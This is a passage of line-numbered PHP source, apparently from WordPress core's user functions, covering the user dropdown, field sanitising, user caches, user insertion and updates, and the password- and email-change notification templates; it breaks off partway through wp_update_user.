1045function wp_dropdown_users( $args = '' ) {
1046 $defaults = array(
1047 'show_option_all' => '', 'show_option_none' => '', 'hide_if_only_one_author' => '',
1048 'orderby' => 'display_name', 'order' => 'ASC',
1049 'include' => '', 'exclude' => '', 'multi' => 0,
1050 'show' => 'display_name', 'echo' => 1,
1051 'selected' => 0, 'name' => 'user', 'class' => '', 'id' => '',
1052 'blog_id' => get_current_blog_id(), 'who' => '', 'include_selected' => false,
1053 'option_none_value' => -1,
1054 'role' => '',
1055 'role__in' => array(),
1056 'role__not_in' => array(),
1057 );
1058
1059 $defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;
1060
1061 $r = wp_parse_args( $args, $defaults );
1062
1063 $query_args = wp_array_slice_assoc( $r, array( 'blog_id', 'include', 'exclude', 'orderby', 'order', 'who', 'role', 'role__in', 'role__not_in' ) );
1064
1065 $fields = array( 'ID', 'user_login' );
1066
1067 $show = ! empty( $r['show'] ) ? $r['show'] : 'display_name';
1068 if ( 'display_name_with_login' === $show ) {
1069 $fields[] = 'display_name';
1070 } else {
1071 $fields[] = $show;
1072 }
1073
1074 $query_args['fields'] = $fields;
1075
1076 $show_option_all = $r['show_option_all'];
1077 $show_option_none = $r['show_option_none'];
1078 $option_none_value = $r['option_none_value'];
1079
1080 /**
1081 * Filters the query arguments for the list of users in the dropdown.
1082 *
1083 * @since 4.4.0
1084 *
1085 * @param array $query_args The query arguments for get_users().
1086 * @param array $r The arguments passed to wp_dropdown_users() combined with the defaults.
1087 */
1088 $query_args = apply_filters( 'wp_dropdown_users_args', $query_args, $r );
1089
1090 $users = get_users( $query_args );
1091
1092 $output = '';
1093 if ( ! empty( $users ) && ( empty( $r['hide_if_only_one_author'] ) || count( $users ) > 1 ) ) {
1094 $name = esc_attr( $r['name'] );
1095 if ( $r['multi'] && ! $r['id'] ) {
1096 $id = '';
1097 } else {
1098 $id = $r['id'] ? " id='" . esc_attr( $r['id'] ) . "'" : " id='$name'";
1099 }
1100 $output = "<select name='{$name}'{$id} class='" . $r['class'] . "'>\n";
1101
1102 if ( $show_option_all ) {
1103 $output .= "\t<option value='0'>$show_option_all</option>\n";
1104 }
1105
1106 if ( $show_option_none ) {
1107 $_selected = selected( $option_none_value, $r['selected'], false );
1108 $output .= "\t<option value='" . esc_attr( $option_none_value ) . "'$_selected>$show_option_none</option>\n";
1109 }
1110
1111 if ( $r['include_selected'] && ( $r['selected'] > 0 ) ) {
1112 $found_selected = false;
1113 $r['selected'] = (int) $r['selected'];
1114 foreach ( (array) $users as $user ) {
1115 $user->ID = (int) $user->ID;
1116 if ( $user->ID === $r['selected'] ) {
1117 $found_selected = true;
1118 }
1119 }
1120
1121 if ( ! $found_selected ) {
1122 $users[] = get_userdata( $r['selected'] );
1123 }
1124 }
1125
1126 foreach ( (array) $users as $user ) {
1127 if ( 'display_name_with_login' === $show ) {
1128 /* translators: 1: display name, 2: user_login */
1129 $display = sprintf( _x( '%1$s (%2$s)', 'user dropdown' ), $user->display_name, $user->user_login );
1130 } elseif ( ! empty( $user->$show ) ) {
1131 $display = $user->$show;
1132 } else {
1133 $display = '(' . $user->user_login . ')';
1134 }
1135
1136 $_selected = selected( $user->ID, $r['selected'], false );
1137 $output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
1138 }
1139
1140 $output .= "</select>";
1141 }
1142
1143 /**
1144 * Filters the wp_dropdown_users() HTML output.
1145 *
1146 * @since 2.3.0
1147 *
1148 * @param string $output HTML output generated by wp_dropdown_users().
1149 */
1150 $html = apply_filters( 'wp_dropdown_users', $output );
1151
1152 if ( $r['echo'] ) {
1153 echo $html;
1154 }
1155 return $html;
1156}
1157
1158/**
1159 * Sanitize user field based on context.
1160 *
1161 * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
1162 * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
1163 * when calling filters.
1164 *
1165 * @since 2.3.0
1166 *
1167 * @param string $field The user Object field name.
1168 * @param mixed $value The user Object value.
1169 * @param int $user_id User ID.
1170 * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display',
1171 * 'attribute' and 'js'.
1172 * @return mixed Sanitized value.
1173 */
1174function sanitize_user_field($field, $value, $user_id, $context) {
1175 $int_fields = array('ID');
1176 if ( in_array($field, $int_fields) )
1177 $value = (int) $value;
1178
1179 if ( 'raw' == $context )
1180 return $value;
1181
1182 if ( !is_string($value) && !is_numeric($value) )
1183 return $value;
1184
1185 $prefixed = false !== strpos( $field, 'user_' );
1186
1187 if ( 'edit' == $context ) {
1188 if ( $prefixed ) {
1189
1190 /** This filter is documented in wp-includes/post.php */
1191 $value = apply_filters( "edit_{$field}", $value, $user_id );
1192 } else {
1193
1194 /**
1195 * Filters a user field value in the 'edit' context.
1196 *
1197 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
1198 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1199 *
1200 * @since 2.9.0
1201 *
1202 * @param mixed $value Value of the prefixed user field.
1203 * @param int $user_id User ID.
1204 */
1205 $value = apply_filters( "edit_user_{$field}", $value, $user_id );
1206 }
1207
1208 if ( 'description' == $field )
1209 $value = esc_html( $value ); // textarea_escaped?
1210 else
1211 $value = esc_attr($value);
1212 } elseif ( 'db' == $context ) {
1213 if ( $prefixed ) {
1214 /** This filter is documented in wp-includes/post.php */
1215 $value = apply_filters( "pre_{$field}", $value );
1216 } else {
1217
1218 /**
1219 * Filters the value of a user field in the 'db' context.
1220 *
1221 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
1222 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1223 *
1224 * @since 2.9.0
1225 *
1226 * @param mixed $value Value of the prefixed user field.
1227 */
1228 $value = apply_filters( "pre_user_{$field}", $value );
1229 }
1230 } else {
1231 // Use display filters by default.
1232 if ( $prefixed ) {
1233
1234 /** This filter is documented in wp-includes/post.php */
1235 $value = apply_filters( "{$field}", $value, $user_id, $context );
1236 } else {
1237
1238 /**
1239 * Filters the value of a user field in a standard context.
1240 *
1241 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
1242 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1243 *
1244 * @since 2.9.0
1245 *
1246 * @param mixed $value The user object value to sanitize.
1247 * @param int $user_id User ID.
1248 * @param string $context The context to filter within.
1249 */
1250 $value = apply_filters( "user_{$field}", $value, $user_id, $context );
1251 }
1252 }
1253
1254 if ( 'user_url' == $field )
1255 $value = esc_url($value);
1256
1257 if ( 'attribute' == $context ) {
1258 $value = esc_attr( $value );
1259 } elseif ( 'js' == $context ) {
1260 $value = esc_js( $value );
1261 }
1262 return $value;
1263}
1264
1265/**
1266 * Update all user caches
1267 *
1268 * @since 3.0.0
1269 *
1270 * @param WP_User $user User object to be cached
1271 * @return bool|null Returns false on failure.
1272 */
1273function update_user_caches( $user ) {
1274 if ( $user instanceof WP_User ) {
1275 if ( ! $user->exists() ) {
1276 return false;
1277 }
1278
1279 $user = $user->data;
1280 }
1281
1282 wp_cache_add($user->ID, $user, 'users');
1283 wp_cache_add($user->user_login, $user->ID, 'userlogins');
1284 wp_cache_add($user->user_email, $user->ID, 'useremail');
1285 wp_cache_add($user->user_nicename, $user->ID, 'userslugs');
1286}
1287
1288/**
1289 * Clean all user caches
1290 *
1291 * @since 3.0.0
1292 * @since 4.4.0 'clean_user_cache' action was added.
1293 *
1294 * @param WP_User|int $user User object or ID to be cleaned from the cache
1295 */
1296function clean_user_cache( $user ) {
1297 if ( is_numeric( $user ) )
1298 $user = new WP_User( $user );
1299
1300 if ( ! $user->exists() )
1301 return;
1302
1303 wp_cache_delete( $user->ID, 'users' );
1304 wp_cache_delete( $user->user_login, 'userlogins' );
1305 wp_cache_delete( $user->user_email, 'useremail' );
1306 wp_cache_delete( $user->user_nicename, 'userslugs' );
1307
1308 /**
1309 * Fires immediately after the given user's cache is cleaned.
1310 *
1311 * @since 4.4.0
1312 *
1313 * @param int $user_id User ID.
1314 * @param WP_User $user User object.
1315 */
1316 do_action( 'clean_user_cache', $user->ID, $user );
1317}
1318
1319/**
1320 * Checks whether the given username exists.
1321 *
1322 * @since 2.0.0
1323 *
1324 * @param string $username Username.
1325 * @return int|false The user's ID on success, and false on failure.
1326 */
1327function username_exists( $username ) {
1328 if ( $user = get_user_by( 'login', $username ) ) {
1329 $user_id = $user->ID;
1330 } else {
1331 $user_id = false;
1332 }
1333
1334 /**
1335 * Filters whether the given username exists or not.
1336 *
1337 * @since 4.9.0
1338 *
1339 * @param int|false $user_id The user's ID on success, and false on failure.
1340 * @param string $username Username to check.
1341 */
1342 return apply_filters( 'username_exists', $user_id, $username );
1343}
1344
1345/**
1346 * Checks whether the given email exists.
1347 *
1348 * @since 2.1.0
1349 *
1350 * @param string $email Email.
1351 * @return int|false The user's ID on success, and false on failure.
1352 */
1353function email_exists( $email ) {
1354 if ( $user = get_user_by( 'email', $email) ) {
1355 return $user->ID;
1356 }
1357 return false;
1358}
1359
1360/**
1361 * Checks whether a username is valid.
1362 *
1363 * @since 2.0.1
1364 * @since 4.4.0 Empty sanitized usernames are now considered invalid
1365 *
1366 * @param string $username Username.
1367 * @return bool Whether username given is valid
1368 */
1369function validate_username( $username ) {
1370 $sanitized = sanitize_user( $username, true );
1371 $valid = ( $sanitized == $username && ! empty( $sanitized ) );
1372
1373 /**
1374 * Filters whether the provided username is valid or not.
1375 *
1376 * @since 2.0.1
1377 *
1378 * @param bool $valid Whether given username is valid.
1379 * @param string $username Username to check.
1380 */
1381 return apply_filters( 'validate_username', $valid, $username );
1382}
1383
1384/**
1385 * Insert a user into the database.
1386 *
1387 * Most of the `$userdata` array fields have filters associated with the values. Exceptions are
1388 * 'ID', 'rich_editing', 'syntax_highlighting', 'comment_shortcuts', 'admin_color', 'use_ssl',
1389 * 'user_registered', and 'role'. The filters have the prefix 'pre_user_' followed by the field
1390 * name. An example using 'description' would have the filter called, 'pre_user_description' that
1391 * can be hooked into.
1392 *
1393 * @since 2.0.0
1394 * @since 3.6.0 The `aim`, `jabber`, and `yim` fields were removed as default user contact
1395 * methods for new installations. See wp_get_user_contact_methods().
1396 * @since 4.7.0 The user's locale can be passed to `$userdata`.
1397 *
1398 * @global wpdb $wpdb WordPress database abstraction object.
1399 *
1400 * @param array|object|WP_User $userdata {
1401 * An array, object, or WP_User object of user data arguments.
1402 *
1403 * @type int $ID User ID. If supplied, the user will be updated.
1404 * @type string $user_pass The plain-text user password.
1405 * @type string $user_login The user's login username.
1406 * @type string $user_nicename The URL-friendly user name.
1407 * @type string $user_url The user URL.
1408 * @type string $user_email The user email address.
1409 * @type string $display_name The user's display name.
1410 * Default is the user's username.
1411 * @type string $nickname The user's nickname.
1412 * Default is the user's username.
1413 * @type string $first_name The user's first name. For new users, will be used
1414 * to build the first part of the user's display name
1415 * if `$display_name` is not specified.
1416 * @type string $last_name The user's last name. For new users, will be used
1417 * to build the second part of the user's display name
1418 * if `$display_name` is not specified.
1419 * @type string $description The user's biographical description.
1420 * @type string|bool $rich_editing Whether to enable the rich-editor for the user.
1421 * False if not empty.
1422 * @type string|bool $syntax_highlighting Whether to enable the rich code editor for the user.
1423 * False if not empty.
1424 * @type string|bool $comment_shortcuts Whether to enable comment moderation keyboard
1425 * shortcuts for the user. Default false.
1426 * @type string $admin_color Admin color scheme for the user. Default 'fresh'.
1427 * @type bool $use_ssl Whether the user should always access the admin over
1428 * https. Default false.
1429 * @type string $user_registered Date the user registered. Format is 'Y-m-d H:i:s'.
1430 * @type string|bool $show_admin_bar_front Whether to display the Admin Bar for the user on the
1431 * site's front end. Default true.
1432 * @type string $role User's role.
1433 * @type string $locale User's locale. Default empty.
1434 * }
1435 * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
1436 * be created.
1437 */
1438function wp_insert_user( $userdata ) {
1439 global $wpdb;
1440
1441 if ( $userdata instanceof stdClass ) {
1442 $userdata = get_object_vars( $userdata );
1443 } elseif ( $userdata instanceof WP_User ) {
1444 $userdata = $userdata->to_array();
1445 }
1446
1447 // Are we updating or creating?
1448 if ( ! empty( $userdata['ID'] ) ) {
1449 $ID = (int) $userdata['ID'];
1450 $update = true;
1451 $old_user_data = get_userdata( $ID );
1452
1453 if ( ! $old_user_data ) {
1454 return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
1455 }
1456
1457 // hashed in wp_update_user(), plaintext if called directly
1458 $user_pass = ! empty( $userdata['user_pass'] ) ? $userdata['user_pass'] : $old_user_data->user_pass;
1459 } else {
1460 $update = false;
1461 // Hash the password
1462 $user_pass = wp_hash_password( $userdata['user_pass'] );
1463 }
1464
1465 $sanitized_user_login = sanitize_user( $userdata['user_login'], true );
1466
1467 /**
1468 * Filters a username after it has been sanitized.
1469 *
1470 * This filter is called before the user is created or updated.
1471 *
1472 * @since 2.0.3
1473 *
1474 * @param string $sanitized_user_login Username after it has been sanitized.
1475 */
1476 $pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );
1477
1478 //Remove any non-printable chars from the login string to see if we have ended up with an empty username
1479 $user_login = trim( $pre_user_login );
1480
1481 // user_login must be between 0 and 60 characters.
1482 if ( empty( $user_login ) ) {
1483 return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') );
1484 } elseif ( mb_strlen( $user_login ) > 60 ) {
1485 return new WP_Error( 'user_login_too_long', __( 'Username may not be longer than 60 characters.' ) );
1486 }
1487
1488 if ( ! $update && username_exists( $user_login ) ) {
1489 return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) );
1490 }
1491
1492 /**
1493 * Filters the list of blacklisted usernames.
1494 *
1495 * @since 4.4.0
1496 *
1497 * @param array $usernames Array of blacklisted usernames.
1498 */
1499 $illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );
1500
1501 if ( in_array( strtolower( $user_login ), array_map( 'strtolower', $illegal_logins ) ) ) {
1502 return new WP_Error( 'invalid_username', __( 'Sorry, that username is not allowed.' ) );
1503 }
1504
1505 /*
1506 * If a nicename is provided, remove unsafe user characters before using it.
1507 * Otherwise build a nicename from the user_login.
1508 */
1509 if ( ! empty( $userdata['user_nicename'] ) ) {
1510 $user_nicename = sanitize_user( $userdata['user_nicename'], true );
1511 if ( mb_strlen( $user_nicename ) > 50 ) {
1512 return new WP_Error( 'user_nicename_too_long', __( 'Nicename may not be longer than 50 characters.' ) );
1513 }
1514 } else {
1515 $user_nicename = mb_substr( $user_login, 0, 50 );
1516 }
1517
1518 $user_nicename = sanitize_title( $user_nicename );
1519
1520 // Store values to save in user meta.
1521 $meta = array();
1522
1523 /**
1524 * Filters a user's nicename before the user is created or updated.
1525 *
1526 * @since 2.0.3
1527 *
1528 * @param string $user_nicename The user's nicename.
1529 */
1530 $user_nicename = apply_filters( 'pre_user_nicename', $user_nicename );
1531
1532 $raw_user_url = empty( $userdata['user_url'] ) ? '' : $userdata['user_url'];
1533
1534 /**
1535 * Filters a user's URL before the user is created or updated.
1536 *
1537 * @since 2.0.3
1538 *
1539 * @param string $raw_user_url The user's URL.
1540 */
1541 $user_url = apply_filters( 'pre_user_url', $raw_user_url );
1542
1543 $raw_user_email = empty( $userdata['user_email'] ) ? '' : $userdata['user_email'];
1544
1545 /**
1546 * Filters a user's email before the user is created or updated.
1547 *
1548 * @since 2.0.3
1549 *
1550 * @param string $raw_user_email The user's email.
1551 */
1552 $user_email = apply_filters( 'pre_user_email', $raw_user_email );
1553
1554 /*
1555 * If there is no update, just check for `email_exists`. If there is an update,
1556 * check if current email and new email are the same, or not, and check `email_exists`
1557 * accordingly.
1558 */
1559 if ( ( ! $update || ( ! empty( $old_user_data ) && 0 !== strcasecmp( $user_email, $old_user_data->user_email ) ) )
1560 && ! defined( 'WP_IMPORTING' )
1561 && email_exists( $user_email )
1562 ) {
1563 return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) );
1564 }
1565 $nickname = empty( $userdata['nickname'] ) ? $user_login : $userdata['nickname'];
1566
1567 /**
1568 * Filters a user's nickname before the user is created or updated.
1569 *
1570 * @since 2.0.3
1571 *
1572 * @param string $nickname The user's nickname.
1573 */
1574 $meta['nickname'] = apply_filters( 'pre_user_nickname', $nickname );
1575
1576 $first_name = empty( $userdata['first_name'] ) ? '' : $userdata['first_name'];
1577
1578 /**
1579 * Filters a user's first name before the user is created or updated.
1580 *
1581 * @since 2.0.3
1582 *
1583 * @param string $first_name The user's first name.
1584 */
1585 $meta['first_name'] = apply_filters( 'pre_user_first_name', $first_name );
1586
1587 $last_name = empty( $userdata['last_name'] ) ? '' : $userdata['last_name'];
1588
1589 /**
1590 * Filters a user's last name before the user is created or updated.
1591 *
1592 * @since 2.0.3
1593 *
1594 * @param string $last_name The user's last name.
1595 */
1596 $meta['last_name'] = apply_filters( 'pre_user_last_name', $last_name );
1597
1598 if ( empty( $userdata['display_name'] ) ) {
1599 if ( $update ) {
1600 $display_name = $user_login;
1601 } elseif ( $meta['first_name'] && $meta['last_name'] ) {
1602 /* translators: 1: first name, 2: last name */
1603 $display_name = sprintf( _x( '%1$s %2$s', 'Display name based on first name and last name' ), $meta['first_name'], $meta['last_name'] );
1604 } elseif ( $meta['first_name'] ) {
1605 $display_name = $meta['first_name'];
1606 } elseif ( $meta['last_name'] ) {
1607 $display_name = $meta['last_name'];
1608 } else {
1609 $display_name = $user_login;
1610 }
1611 } else {
1612 $display_name = $userdata['display_name'];
1613 }
1614
1615 /**
1616 * Filters a user's display name before the user is created or updated.
1617 *
1618 * @since 2.0.3
1619 *
1620 * @param string $display_name The user's display name.
1621 */
1622 $display_name = apply_filters( 'pre_user_display_name', $display_name );
1623
1624 $description = empty( $userdata['description'] ) ? '' : $userdata['description'];
1625
1626 /**
1627 * Filters a user's description before the user is created or updated.
1628 *
1629 * @since 2.0.3
1630 *
1631 * @param string $description The user's description.
1632 */
1633 $meta['description'] = apply_filters( 'pre_user_description', $description );
1634
1635 $meta['rich_editing'] = empty( $userdata['rich_editing'] ) ? 'true' : $userdata['rich_editing'];
1636
1637 $meta['syntax_highlighting'] = empty( $userdata['syntax_highlighting'] ) ? 'true' : $userdata['syntax_highlighting'];
1638
1639 $meta['comment_shortcuts'] = empty( $userdata['comment_shortcuts'] ) || 'false' === $userdata['comment_shortcuts'] ? 'false' : 'true';
1640
1641 $admin_color = empty( $userdata['admin_color'] ) ? 'fresh' : $userdata['admin_color'];
1642 $meta['admin_color'] = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $admin_color );
1643
1644 $meta['use_ssl'] = empty( $userdata['use_ssl'] ) ? 0 : $userdata['use_ssl'];
1645
1646 $user_registered = empty( $userdata['user_registered'] ) ? gmdate( 'Y-m-d H:i:s' ) : $userdata['user_registered'];
1647
1648 $meta['show_admin_bar_front'] = empty( $userdata['show_admin_bar_front'] ) ? 'true' : $userdata['show_admin_bar_front'];
1649
1650 $meta['locale'] = isset( $userdata['locale'] ) ? $userdata['locale'] : '';
1651
1652 $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login));
1653
1654 if ( $user_nicename_check ) {
1655 $suffix = 2;
1656 while ($user_nicename_check) {
1657 // user_nicename allows 50 chars. Subtract one for a hyphen, plus the length of the suffix.
1658 $base_length = 49 - mb_strlen( $suffix );
1659 $alt_user_nicename = mb_substr( $user_nicename, 0, $base_length ) . "-$suffix";
1660 $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login));
1661 $suffix++;
1662 }
1663 $user_nicename = $alt_user_nicename;
1664 }
1665
1666 $compacted = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' );
1667 $data = wp_unslash( $compacted );
1668
1669 if ( ! $update ) {
1670 $data = $data + compact( 'user_login' );
1671 }
1672
1673 /**
1674 * Filters user data before the record is created or updated.
1675 *
1676 * It only includes data in the wp_users table wp_user, not any user metadata.
1677 *
1678 * @since 4.9.0
1679 *
1680 * @param array $data {
1681 * Values and keys for the user.
1682 *
1683 * @type string $user_login The user's login. Only included if $update == false
1684 * @type string $user_pass The user's password.
1685 * @type string $user_email The user's email.
1686 * @type string $user_url The user's url.
1687 * @type string $user_nicename The user's nice name. Defaults to a URL-safe version of user's login
1688 * @type string $display_name The user's display name.
1689 * @type string $user_registered MySQL timestamp describing the moment when the user registered. Defaults to
1690 * the current UTC timestamp.
1691 * }
1692 * @param bool $update Whether the user is being updated rather than created.
1693 * @param int|null $id ID of the user to be updated, or NULL if the user is being created.
1694 */
1695 $data = apply_filters( 'wp_pre_insert_user_data', $data, $update, $update ? (int) $ID : null );
1696
1697 if ( $update ) {
1698 if ( $user_email !== $old_user_data->user_email ) {
1699 $data['user_activation_key'] = '';
1700 }
1701 $wpdb->update( $wpdb->users, $data, compact( 'ID' ) );
1702 $user_id = (int) $ID;
1703 } else {
1704 $wpdb->insert( $wpdb->users, $data );
1705 $user_id = (int) $wpdb->insert_id;
1706 }
1707
1708 $user = new WP_User( $user_id );
1709
1710 /**
1711 * Filters a user's meta values and keys immediately after the user is created or updated
1712 * and before any user meta is inserted or updated.
1713 *
1714 * Does not include contact methods. These are added using `wp_get_user_contact_methods( $user )`.
1715 *
1716 * @since 4.4.0
1717 *
1718 * @param array $meta {
1719 * Default meta values and keys for the user.
1720 *
1721 * @type string $nickname The user's nickname. Default is the user's username.
1722 * @type string $first_name The user's first name.
1723 * @type string $last_name The user's last name.
1724 * @type string $description The user's description.
1725 * @type bool $rich_editing Whether to enable the rich-editor for the user. False if not empty.
1726 * @type bool $syntax_highlighting Whether to enable the rich code editor for the user. False if not empty.
1727 * @type bool $comment_shortcuts Whether to enable keyboard shortcuts for the user. Default false.
1728 * @type string $admin_color The color scheme for a user's admin screen. Default 'fresh'.
1729 * @type int|bool $use_ssl Whether to force SSL on the user's admin area. 0|false if SSL is
1730 * not forced.
1731 * @type bool $show_admin_bar_front Whether to show the admin bar on the front end for the user.
1732 * Default true.
1733 * }
1734 * @param WP_User $user User object.
1735 * @param bool $update Whether the user is being updated rather than created.
1736 */
1737 $meta = apply_filters( 'insert_user_meta', $meta, $user, $update );
1738
1739 // Update user meta.
1740 foreach ( $meta as $key => $value ) {
1741 update_user_meta( $user_id, $key, $value );
1742 }
1743
1744 foreach ( wp_get_user_contact_methods( $user ) as $key => $value ) {
1745 if ( isset( $userdata[ $key ] ) ) {
1746 update_user_meta( $user_id, $key, $userdata[ $key ] );
1747 }
1748 }
1749
1750 if ( isset( $userdata['role'] ) ) {
1751 $user->set_role( $userdata['role'] );
1752 } elseif ( ! $update ) {
1753 $user->set_role(get_option('default_role'));
1754 }
1755 wp_cache_delete( $user_id, 'users' );
1756 wp_cache_delete( $user_login, 'userlogins' );
1757
1758 if ( $update ) {
1759 /**
1760 * Fires immediately after an existing user is updated.
1761 *
1762 * @since 2.0.0
1763 *
1764 * @param int $user_id User ID.
1765 * @param WP_User $old_user_data Object containing user's data prior to update.
1766 */
1767 do_action( 'profile_update', $user_id, $old_user_data );
1768 } else {
1769 /**
1770 * Fires immediately after a new user is registered.
1771 *
1772 * @since 1.5.0
1773 *
1774 * @param int $user_id User ID.
1775 */
1776 do_action( 'user_register', $user_id );
1777 }
1778
1779 return $user_id;
1780}
1781
1782/**
1783 * Update a user in the database.
1784 *
1785 * It is possible to update a user's password by specifying the 'user_pass'
1786 * value in the $userdata parameter array.
1787 *
1788 * If current user's password is being updated, then the cookies will be
1789 * cleared.
1790 *
1791 * @since 2.0.0
1792 *
1793 * @see wp_insert_user() For what fields can be set in $userdata.
1794 *
1795 * @param object|WP_User $userdata An array of user data or a user object of type stdClass or WP_User.
1796 * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated.
1797 */
1798function wp_update_user($userdata) {
1799 if ( $userdata instanceof stdClass ) {
1800 $userdata = get_object_vars( $userdata );
1801 } elseif ( $userdata instanceof WP_User ) {
1802 $userdata = $userdata->to_array();
1803 }
1804
1805 $ID = isset( $userdata['ID'] ) ? (int) $userdata['ID'] : 0;
1806 if ( ! $ID ) {
1807 return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
1808 }
1809
1810 // First, get all of the original fields
1811 $user_obj = get_userdata( $ID );
1812 if ( ! $user_obj ) {
1813 return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
1814 }
1815
1816 $user = $user_obj->to_array();
1817
1818 // Add additional custom fields
1819 foreach ( _get_additional_user_keys( $user_obj ) as $key ) {
1820 $user[ $key ] = get_user_meta( $ID, $key, true );
1821 }
1822
1823 // Escape data pulled from DB.
1824 $user = add_magic_quotes( $user );
1825
1826 if ( ! empty( $userdata['user_pass'] ) && $userdata['user_pass'] !== $user_obj->user_pass ) {
1827 // If password is changing, hash it now
1828 $plaintext_pass = $userdata['user_pass'];
1829 $userdata['user_pass'] = wp_hash_password( $userdata['user_pass'] );
1830
1831 /**
1832 * Filters whether to send the password change email.
1833 *
1834 * @since 4.3.0
1835 *
1836 * @see wp_insert_user() For `$user` and `$userdata` fields.
1837 *
1838 * @param bool $send Whether to send the email.
1839 * @param array $user The original user array.
1840 * @param array $userdata The updated user array.
1841 *
1842 */
1843 $send_password_change_email = apply_filters( 'send_password_change_email', true, $user, $userdata );
1844 }
1845
1846 if ( isset( $userdata['user_email'] ) && $user['user_email'] !== $userdata['user_email'] ) {
1847 /**
1848 * Filters whether to send the email change email.
1849 *
1850 * @since 4.3.0
1851 *
1852 * @see wp_insert_user() For `$user` and `$userdata` fields.
1853 *
1854 * @param bool $send Whether to send the email.
1855 * @param array $user The original user array.
1856 * @param array $userdata The updated user array.
1857 *
1858 */
1859 $send_email_change_email = apply_filters( 'send_email_change_email', true, $user, $userdata );
1860 }
1861
1862 wp_cache_delete( $user['user_email'], 'useremail' );
1863 wp_cache_delete( $user['user_nicename'], 'userslugs' );
1864
1865 // Merge old and new fields with new fields overwriting old ones.
1866 $userdata = array_merge( $user, $userdata );
1867 $user_id = wp_insert_user( $userdata );
1868
1869 if ( ! is_wp_error( $user_id ) ) {
1870
1871 $blog_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
1872
1873 $switched_locale = false;
1874 if ( ! empty( $send_password_change_email ) || ! empty( $send_email_change_email ) ) {
1875 $switched_locale = switch_to_locale( get_user_locale( $user_id ) );
1876 }
1877
1878 if ( ! empty( $send_password_change_email ) ) {
1879 /* translators: Do not translate USERNAME, ADMIN_EMAIL, EMAIL, SITENAME, SITEURL: those are placeholders. */
1880 $pass_change_text = __( 'Hi ###USERNAME###,
1881
1882This notice confirms that your password was changed on ###SITENAME###.
1883
1884If you did not change your password, please contact the Site Administrator at
1885###ADMIN_EMAIL###
1886
1887This email has been sent to ###EMAIL###
1888
1889Regards,
1890All at ###SITENAME###
1891###SITEURL###' );
1892
1893 $pass_change_email = array(
1894 'to' => $user['user_email'],
1895 /* translators: User password change notification email subject. 1: Site name */
1896 'subject' => __( '[%s] Notice of Password Change' ),
1897 'message' => $pass_change_text,
1898 'headers' => '',
1899 );
1900
1901 /**
1902 * Filters the contents of the email sent when the user's password is changed.
1903 *
1904 * @since 4.3.0
1905 *
1906 * @param array $pass_change_email {
1907 * Used to build wp_mail().
1908 * @type string $to The intended recipients. Add emails in a comma separated string.
1909 * @type string $subject The subject of the email.
1910 * @type string $message The content of the email.
1911 * The following strings have a special meaning and will get replaced dynamically:
1912 * - ###USERNAME### The current user's username.
1913 * - ###ADMIN_EMAIL### The admin email in case this was unexpected.
1914 * - ###EMAIL### The user's email address.
1915 * - ###SITENAME### The name of the site.
1916 * - ###SITEURL### The URL to the site.
1917 * @type string $headers Headers. Add headers in a newline (\r\n) separated string.
1918 * }
1919 * @param array $user The original user array.
1920 * @param array $userdata The updated user array.
1921 *
1922 */
1923 $pass_change_email = apply_filters( 'password_change_email', $pass_change_email, $user, $userdata );
1924
1925 $pass_change_email['message'] = str_replace( '###USERNAME###', $user['user_login'], $pass_change_email['message'] );
1926 $pass_change_email['message'] = str_replace( '###ADMIN_EMAIL###', get_option( 'admin_email' ), $pass_change_email['message'] );
1927 $pass_change_email['message'] = str_replace( '###EMAIL###', $user['user_email'], $pass_change_email['message'] );
1928 $pass_change_email['message'] = str_replace( '###SITENAME###', $blog_name, $pass_change_email['message'] );
1929 $pass_change_email['message'] = str_replace( '###SITEURL###', home_url(), $pass_change_email['message'] );
1930
1931 wp_mail( $pass_change_email['to'], sprintf( $pass_change_email['subject'], $blog_name ), $pass_change_email['message'], $pass_change_email['headers'] );
1932 }
1933
1934 if ( ! empty( $send_email_change_email ) ) {
1935 /* translators: Do not translate USERNAME, ADMIN_EMAIL, NEW_EMAIL, EMAIL, SITENAME, SITEURL: those are placeholders. */
1936 $email_change_text = __( 'Hi ###USERNAME###,
1937
1938This notice confirms that your email address on ###SITENAME### was changed to ###NEW_EMAIL###.
1939
1940If you did not change your email, please contact the Site Administrator at
1941###ADMIN_EMAIL###
1942
1943This email has been sent to ###EMAIL###
1944
1945Regards,
1946All at ###SITENAME###
1947###SITEURL###' );
1948
1949 $email_change_email = array(
1950 'to' => $user['user_email'],
1951 /* translators: User email change notification email subject. 1: Site name */
1952 'subject' => __( '[%s] Notice of Email Change' ),
1953 'message' => $email_change_text,
1954 'headers' => '',
1955 );
1956
1957 /**
1958 * Filters the contents of the email sent when the user's email is changed.
1959 *
1960 * @since 4.3.0
1961 *
1962 * @param array $email_change_email {
1963 * Used to build wp_mail().
1964 * @type string $to The intended recipients.
1965 * @type string $subject The subject of the email.
1966 * @type string $message The content of the email.
